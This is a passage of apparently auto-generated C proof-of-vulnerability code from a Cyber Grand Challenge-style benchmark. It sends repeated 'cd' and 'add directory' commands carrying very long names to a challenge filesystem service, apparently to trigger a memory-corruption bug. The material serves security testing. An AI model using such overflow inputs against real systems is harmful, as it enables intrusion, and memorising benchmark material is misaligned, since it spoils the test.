regex compile, just keep sending stuff. } cgc_free(read_00187); if (read_00187_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00065_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00065_00000_len = 104; unsigned char *write_00065 = NULL; unsigned int write_00065_len = 0; write_00065 = cgc_append_buf(write_00065, &write_00065_len, write_00065_00000, write_00065_00000_len); if (write_00065_len > 0) { cgc_transmit_all(1, write_00065, write_00065_len); } cgc_free(write_00065); } while (0); do { unsigned char *read_00188; unsigned int read_00188_len; unsigned int read_00188_ptr = 0; //**** delimited read static unsigned char read_00188_delim[] = "\x40"; read_00188 = NULL; read_00188_len = 0; int read_00188_res = cgc_delimited_read(0, &read_00188, &read_00188_len, read_00188_delim, 1); if (read_00188_res) {} //silence unused variable warning //**** read match data static unsigned char match_00188_00000[] = "\x72\x6f\x6f\x74"; read_00188_ptr += cgc_data_match(read_00188 + read_00188_ptr, read_00188_len - read_00188_ptr, match_00188_00000, 4); cgc_free(read_00188); if (read_00188_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00189; unsigned int read_00189_len; unsigned int read_00189_ptr = 0; //**** delimited read static unsigned char read_00189_delim[] = "\x2f"; read_00189 = NULL; read_00189_len = 0; int read_00189_res = cgc_delimited_read(0, &read_00189, &read_00189_len, read_00189_delim, 1); if (read_00189_res) {} //silence unused variable warning //**** read match data static unsigned char match_00189_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00189_ptr += cgc_data_match(read_00189 + read_00189_ptr, read_00189_len - read_00189_ptr, match_00189_00000, 6); cgc_free(read_00189); if (read_00189_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00190; unsigned int read_00190_len; unsigned int read_00190_ptr = 0; //**** delimited read static unsigned char read_00190_delim[] = "\x3e"; read_00190 = NULL; read_00190_len = 0; int read_00190_res = cgc_delimited_read(0, &read_00190, &read_00190_len, read_00190_delim, 1); if (read_00190_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00190_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00190_00000_match; pcre *read_00190_00000_pcre = cgc_init_regex(read_00190_00000_regex); if (read_00190_00000_pcre != NULL) { int rc = cgc_regex_match(read_00190_00000_pcre, 0, read_00190 + read_00190_ptr, read_00190_len - read_00190_ptr, &read_00190_00000_match); if (rc > 0) { read_00190_ptr += read_00190_00000_match.match_end - read_00190_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00190_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00190); if (read_00190_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00066_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00066_00000_len = 115; unsigned char *write_00066 = NULL; unsigned int write_00066_len = 0; write_00066 = cgc_append_buf(write_00066, &write_00066_len, write_00066_00000, write_00066_00000_len); if (write_00066_len > 0) { cgc_transmit_all(1, write_00066, write_00066_len); } cgc_free(write_00066); } while (0); do { unsigned char *read_00191; unsigned int read_00191_len; unsigned int read_00191_ptr = 0; //**** delimited read static unsigned char read_00191_delim[] = "\x40"; read_00191 = NULL; read_00191_len = 0; int read_00191_res = cgc_delimited_read(0, &read_00191, &read_00191_len, read_00191_delim, 1); if (read_00191_res) {} //silence unused variable warning //**** read match data static unsigned char match_00191_00000[] = "\x72\x6f\x6f\x74"; read_00191_ptr += cgc_data_match(read_00191 + read_00191_ptr, read_00191_len - read_00191_ptr, match_00191_00000, 4); cgc_free(read_00191); if (read_00191_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00192; unsigned int read_00192_len; unsigned int read_00192_ptr = 0; //**** delimited read static unsigned char read_00192_delim[] = "\x2f"; read_00192 = NULL; read_00192_len = 0; int read_00192_res = cgc_delimited_read(0, &read_00192, &read_00192_len, read_00192_delim, 1); if (read_00192_res) {} //silence unused variable warning //**** read match data static unsigned char match_00192_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00192_ptr += cgc_data_match(read_00192 + read_00192_ptr, read_00192_len - read_00192_ptr, match_00192_00000, 6); cgc_free(read_00192); if (read_00192_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00193; unsigned int read_00193_len; unsigned int read_00193_ptr = 0; //**** delimited read static unsigned char read_00193_delim[] = "\x3e"; read_00193 = NULL; read_00193_len = 0; int read_00193_res = cgc_delimited_read(0, &read_00193, &read_00193_len, read_00193_delim, 1); if (read_00193_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00193_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00193_00000_match; pcre *read_00193_00000_pcre = cgc_init_regex(read_00193_00000_regex); if (read_00193_00000_pcre != NULL) { int rc = cgc_regex_match(read_00193_00000_pcre, 0, read_00193 + read_00193_ptr, read_00193_len - read_00193_ptr, &read_00193_00000_match); if (rc > 0) { read_00193_ptr += read_00193_00000_match.match_end - read_00193_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00193_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00193); if (read_00193_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00067_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00067_00000_len = 104; unsigned char *write_00067 = NULL; unsigned int write_00067_len = 0; write_00067 = cgc_append_buf(write_00067, &write_00067_len, write_00067_00000, write_00067_00000_len); if (write_00067_len > 0) { cgc_transmit_all(1, write_00067, write_00067_len); } cgc_free(write_00067); } while (0); do { unsigned char *read_00194; unsigned int read_00194_len; unsigned int read_00194_ptr = 0; //**** delimited read static unsigned char read_00194_delim[] = "\x40"; read_00194 = NULL; read_00194_len = 0; int read_00194_res = cgc_delimited_read(0, &read_00194, &read_00194_len, read_00194_delim, 1); if (read_00194_res) {} //silence unused variable warning //**** read match data static unsigned char match_00194_00000[] = "\x72\x6f\x6f\x74"; read_00194_ptr += cgc_data_match(read_00194 + read_00194_ptr, read_00194_len - read_00194_ptr, match_00194_00000, 4); cgc_free(read_00194); if (read_00194_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00195; unsigned int read_00195_len; unsigned int read_00195_ptr = 0; //**** delimited read static unsigned char read_00195_delim[] = "\x2f"; read_00195 = NULL; read_00195_len = 0; int read_00195_res = cgc_delimited_read(0, &read_00195, &read_00195_len, read_00195_delim, 1); if (read_00195_res) {} //silence unused variable warning //**** read match data static unsigned char match_00195_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00195_ptr += cgc_data_match(read_00195 + read_00195_ptr, read_00195_len - read_00195_ptr, match_00195_00000, 6); cgc_free(read_00195); if (read_00195_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00196; unsigned int read_00196_len; unsigned int read_00196_ptr = 0; //**** delimited read static unsigned char read_00196_delim[] = "\x3e"; read_00196 = NULL; read_00196_len = 0; int read_00196_res = cgc_delimited_read(0, &read_00196, &read_00196_len, read_00196_delim, 1); if (read_00196_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00196_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00196_00000_match; pcre *read_00196_00000_pcre = cgc_init_regex(read_00196_00000_regex); if (read_00196_00000_pcre != NULL) { int rc = cgc_regex_match(read_00196_00000_pcre, 0, read_00196 + read_00196_ptr, read_00196_len - read_00196_ptr, &read_00196_00000_match); if (rc > 0) { read_00196_ptr += read_00196_00000_match.match_end - read_00196_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00196_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00196); if (read_00196_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00068_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00068_00000_len = 115; unsigned char *write_00068 = NULL; unsigned int write_00068_len = 0; write_00068 = cgc_append_buf(write_00068, &write_00068_len, write_00068_00000, write_00068_00000_len); if (write_00068_len > 0) { cgc_transmit_all(1, write_00068, write_00068_len); } cgc_free(write_00068); } while (0); do { unsigned char *read_00197; unsigned int read_00197_len; unsigned int read_00197_ptr = 0; //**** delimited read static unsigned char read_00197_delim[] = "\x40"; read_00197 = NULL; read_00197_len = 0; int read_00197_res = cgc_delimited_read(0, &read_00197, &read_00197_len, read_00197_delim, 1); if (read_00197_res) {} //silence unused variable warning //**** read match data static unsigned char match_00197_00000[] = "\x72\x6f\x6f\x74"; read_00197_ptr += cgc_data_match(read_00197 + read_00197_ptr, read_00197_len - read_00197_ptr, match_00197_00000, 4); cgc_free(read_00197); if (read_00197_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00198; unsigned int read_00198_len; unsigned int read_00198_ptr = 0; //**** delimited read static unsigned char read_00198_delim[] = "\x2f"; read_00198 = NULL; read_00198_len = 0; int read_00198_res = cgc_delimited_read(0, &read_00198, &read_00198_len, read_00198_delim, 1); if (read_00198_res) {} //silence unused variable warning //**** read match data static unsigned char match_00198_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00198_ptr += cgc_data_match(read_00198 + read_00198_ptr, read_00198_len - read_00198_ptr, match_00198_00000, 6); cgc_free(read_00198); if (read_00198_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00199; unsigned int read_00199_len; unsigned int read_00199_ptr = 0; //**** delimited read static unsigned char read_00199_delim[] = "\x3e"; read_00199 = NULL; read_00199_len = 0; int read_00199_res = cgc_delimited_read(0, &read_00199, &read_00199_len, read_00199_delim, 1); if (read_00199_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00199_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00199_00000_match; pcre *read_00199_00000_pcre = cgc_init_regex(read_00199_00000_regex); if (read_00199_00000_pcre != NULL) { int rc = cgc_regex_match(read_00199_00000_pcre, 0, read_00199 + read_00199_ptr, read_00199_len - read_00199_ptr, &read_00199_00000_match); if (rc > 0) { read_00199_ptr += read_00199_00000_match.match_end - read_00199_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00199_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00199); if (read_00199_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00069_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00069_00000_len = 104; unsigned char *write_00069 = NULL; unsigned int write_00069_len = 0; write_00069 = cgc_append_buf(write_00069, &write_00069_len, write_00069_00000, write_00069_00000_len); if (write_00069_len > 0) { cgc_transmit_all(1, write_00069, write_00069_len); } cgc_free(write_00069); } while (0); do { unsigned char *read_00200; unsigned int read_00200_len; unsigned int read_00200_ptr = 0; //**** delimited read static unsigned char read_00200_delim[] = "\x40"; read_00200 = NULL; read_00200_len = 0; int read_00200_res = cgc_delimited_read(0, &read_00200, &read_00200_len, read_00200_delim, 1); if (read_00200_res) {} //silence unused variable warning //**** read match data static unsigned char match_00200_00000[] = "\x72\x6f\x6f\x74"; read_00200_ptr += cgc_data_match(read_00200 + read_00200_ptr, read_00200_len - read_00200_ptr, match_00200_00000, 4); cgc_free(read_00200); if (read_00200_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00201; unsigned int read_00201_len; unsigned int read_00201_ptr = 0; //**** delimited read static unsigned char read_00201_delim[] = "\x2f"; read_00201 = NULL; read_00201_len = 0; int read_00201_res = cgc_delimited_read(0, &read_00201, &read_00201_len, read_00201_delim, 1); if (read_00201_res) {} //silence unused variable warning //**** read match data static unsigned char match_00201_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00201_ptr += cgc_data_match(read_00201 + read_00201_ptr, read_00201_len - read_00201_ptr, match_00201_00000, 6); cgc_free(read_00201); if (read_00201_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00202; unsigned int read_00202_len; unsigned int read_00202_ptr = 0; //**** delimited read static unsigned char read_00202_delim[] = "\x3e"; read_00202 = NULL; read_00202_len = 0; int read_00202_res = cgc_delimited_read(0, &read_00202, &read_00202_len, read_00202_delim, 1); if (read_00202_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00202_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00202_00000_match; pcre *read_00202_00000_pcre = cgc_init_regex(read_00202_00000_regex); if (read_00202_00000_pcre != NULL) { int rc = cgc_regex_match(read_00202_00000_pcre, 0, read_00202 + read_00202_ptr, read_00202_len - read_00202_ptr, &read_00202_00000_match); if (rc > 0) { read_00202_ptr += read_00202_00000_match.match_end - read_00202_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00202_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00202); if (read_00202_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00070_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00070_00000_len = 115; unsigned char *write_00070 = NULL; unsigned int write_00070_len = 0; write_00070 = cgc_append_buf(write_00070, &write_00070_len, write_00070_00000, write_00070_00000_len); if (write_00070_len > 0) { cgc_transmit_all(1, write_00070, write_00070_len); } cgc_free(write_00070); } while (0); do { unsigned char *read_00203; unsigned int read_00203_len; unsigned int read_00203_ptr = 0; //**** delimited read static unsigned char read_00203_delim[] = "\x40"; read_00203 = NULL; read_00203_len = 0; int read_00203_res = cgc_delimited_read(0, &read_00203, &read_00203_len, read_00203_delim, 1); if (read_00203_res) {} //silence unused variable warning //**** read match data static unsigned char match_00203_00000[] = "\x72\x6f\x6f\x74"; read_00203_ptr += cgc_data_match(read_00203 + read_00203_ptr, read_00203_len - read_00203_ptr, match_00203_00000, 4); cgc_free(read_00203); if (read_00203_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00204; unsigned int read_00204_len; unsigned int read_00204_ptr = 0; //**** delimited read static unsigned char read_00204_delim[] = "\x2f"; read_00204 = NULL; read_00204_len = 0; int read_00204_res = cgc_delimited_read(0, &read_00204, &read_00204_len, read_00204_delim, 1); if (read_00204_res) {} //silence unused variable warning //**** read match data static unsigned char match_00204_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00204_ptr += cgc_data_match(read_00204 + read_00204_ptr, read_00204_len - read_00204_ptr, match_00204_00000, 6); cgc_free(read_00204); if (read_00204_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00205; unsigned int read_00205_len; unsigned int read_00205_ptr = 0; //**** delimited read static unsigned char read_00205_delim[] = "\x3e"; read_00205 = NULL; read_00205_len = 0; int read_00205_res = cgc_delimited_read(0, &read_00205, &read_00205_len, read_00205_delim, 1); if (read_00205_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00205_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00205_00000_match; pcre *read_00205_00000_pcre = cgc_init_regex(read_00205_00000_regex); if (read_00205_00000_pcre != NULL) { int rc = cgc_regex_match(read_00205_00000_pcre, 0, read_00205 + read_00205_ptr, read_00205_len - read_00205_ptr, &read_00205_00000_match); if (rc > 0) { read_00205_ptr += read_00205_00000_match.match_end - read_00205_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00205_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00205); if (read_00205_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00071_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00071_00000_len = 104; unsigned char *write_00071 = NULL; unsigned int write_00071_len = 0; write_00071 = cgc_append_buf(write_00071, &write_00071_len, write_00071_00000, write_00071_00000_len); if (write_00071_len > 0) { cgc_transmit_all(1, write_00071, write_00071_len); } cgc_free(write_00071); } while (0); do { unsigned char *read_00206; unsigned int read_00206_len; unsigned int read_00206_ptr = 0; //**** delimited read static unsigned char read_00206_delim[] = "\x40"; read_00206 = NULL; read_00206_len = 0; int read_00206_res = cgc_delimited_read(0, &read_00206, &read_00206_len, read_00206_delim, 1); if (read_00206_res) {} //silence unused variable warning //**** read match data static unsigned char match_00206_00000[] = "\x72\x6f\x6f\x74"; read_00206_ptr += cgc_data_match(read_00206 + read_00206_ptr, read_00206_len - read_00206_ptr, match_00206_00000, 4); cgc_free(read_00206); if (read_00206_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00207; unsigned int read_00207_len; unsigned int read_00207_ptr = 0; //**** delimited read static unsigned char read_00207_delim[] = "\x2f"; read_00207 = NULL; read_00207_len = 0; int read_00207_res = cgc_delimited_read(0, &read_00207, &read_00207_len, read_00207_delim, 1); if (read_00207_res) {} //silence unused variable warning //**** read match data static unsigned char match_00207_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00207_ptr += cgc_data_match(read_00207 + read_00207_ptr, read_00207_len - read_00207_ptr, match_00207_00000, 6); cgc_free(read_00207); if (read_00207_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00208; unsigned int read_00208_len; unsigned int read_00208_ptr = 0; //**** delimited read static unsigned char read_00208_delim[] = "\x3e"; read_00208 = NULL; read_00208_len = 0; int read_00208_res = cgc_delimited_read(0, &read_00208, &read_00208_len, read_00208_delim, 1); if (read_00208_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00208_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00208_00000_match; pcre *read_00208_00000_pcre = cgc_init_regex(read_00208_00000_regex); if (read_00208_00000_pcre != NULL) { int rc = cgc_regex_match(read_00208_00000_pcre, 0, read_00208 + read_00208_ptr, read_00208_len - read_00208_ptr, &read_00208_00000_match); if (rc > 0) { read_00208_ptr += read_00208_00000_match.match_end - read_00208_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00208_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00208); if (read_00208_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00072_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00072_00000_len = 115; unsigned char *write_00072 = NULL; unsigned int write_00072_len = 0; write_00072 = cgc_append_buf(write_00072, &write_00072_len, write_00072_00000, write_00072_00000_len); if (write_00072_len > 0) { cgc_transmit_all(1, write_00072, write_00072_len); } cgc_free(write_00072); } while (0); do { unsigned char *read_00209; unsigned int read_00209_len; unsigned int read_00209_ptr = 0; //**** delimited read static unsigned char read_00209_delim[] = "\x40"; read_00209 = NULL; read_00209_len = 0; int read_00209_res = cgc_delimited_read(0, &read_00209, &read_00209_len, read_00209_delim, 1); if (read_00209_res) {} //silence unused variable warning //**** read match data static unsigned char match_00209_00000[] = "\x72\x6f\x6f\x74"; read_00209_ptr += cgc_data_match(read_00209 + read_00209_ptr, read_00209_len - read_00209_ptr, match_00209_00000, 4); cgc_free(read_00209); if (read_00209_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00210; unsigned int read_00210_len; unsigned int read_00210_ptr = 0; //**** delimited read static unsigned char read_00210_delim[] = "\x2f"; read_00210 = NULL; read_00210_len = 0; int read_00210_res = cgc_delimited_read(0, &read_00210, &read_00210_len, read_00210_delim, 1); if (read_00210_res) {} //silence unused variable warning //**** read match data static unsigned char match_00210_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00210_ptr += cgc_data_match(read_00210 + read_00210_ptr, read_00210_len - read_00210_ptr, match_00210_00000, 6); cgc_free(read_00210); if (read_00210_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00211; unsigned int read_00211_len; unsigned int read_00211_ptr = 0; //**** delimited read static unsigned char read_00211_delim[] = "\x3e"; read_00211 = NULL; read_00211_len = 0; int read_00211_res = cgc_delimited_read(0, &read_00211, &read_00211_len, read_00211_delim, 1); if (read_00211_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00211_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00211_00000_match; pcre *read_00211_00000_pcre = cgc_init_regex(read_00211_00000_regex); if (read_00211_00000_pcre != NULL) { int rc = cgc_regex_match(read_00211_00000_pcre, 0, read_00211 + read_00211_ptr, read_00211_len - read_00211_ptr, &read_00211_00000_match); if (rc > 0) { read_00211_ptr += read_00211_00000_match.match_end - read_00211_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00211_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00211); if (read_00211_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00073_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00073_00000_len = 104; unsigned char *write_00073 = NULL; unsigned int write_00073_len = 0; write_00073 = cgc_append_buf(write_00073, &write_00073_len, write_00073_00000, write_00073_00000_len); if (write_00073_len > 0) { cgc_transmit_all(1, write_00073, write_00073_len); } cgc_free(write_00073); } while (0); do { unsigned char *read_00212; unsigned int read_00212_len; unsigned int read_00212_ptr = 0; //**** delimited read static unsigned char read_00212_delim[] = "\x40"; read_00212 = NULL; read_00212_len = 0; int read_00212_res = cgc_delimited_read(0, &read_00212, &read_00212_len, read_00212_delim, 1); if (read_00212_res) {} //silence unused variable warning //**** read match data static unsigned char match_00212_00000[] = "\x72\x6f\x6f\x74"; read_00212_ptr += cgc_data_match(read_00212 + read_00212_ptr, read_00212_len - read_00212_ptr, match_00212_00000, 4); cgc_free(read_00212); if (read_00212_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00213; unsigned int read_00213_len; unsigned int read_00213_ptr = 0; //**** delimited read static unsigned char read_00213_delim[] = "\x2f"; read_00213 = NULL; read_00213_len = 0; int read_00213_res = cgc_delimited_read(0, &read_00213, &read_00213_len, read_00213_delim, 1); if (read_00213_res) {} //silence unused variable warning //**** read match data static unsigned char match_00213_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00213_ptr += cgc_data_match(read_00213 + read_00213_ptr, read_00213_len - read_00213_ptr, match_00213_00000, 6); cgc_free(read_00213); if (read_00213_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00214; unsigned int read_00214_len; unsigned int read_00214_ptr = 0; //**** delimited read static unsigned char read_00214_delim[] = "\x3e"; read_00214 = NULL; read_00214_len = 0; int read_00214_res = cgc_delimited_read(0, &read_00214, &read_00214_len, read_00214_delim, 1); if (read_00214_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00214_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00214_00000_match; pcre *read_00214_00000_pcre = cgc_init_regex(read_00214_00000_regex); if (read_00214_00000_pcre != NULL) { int rc = 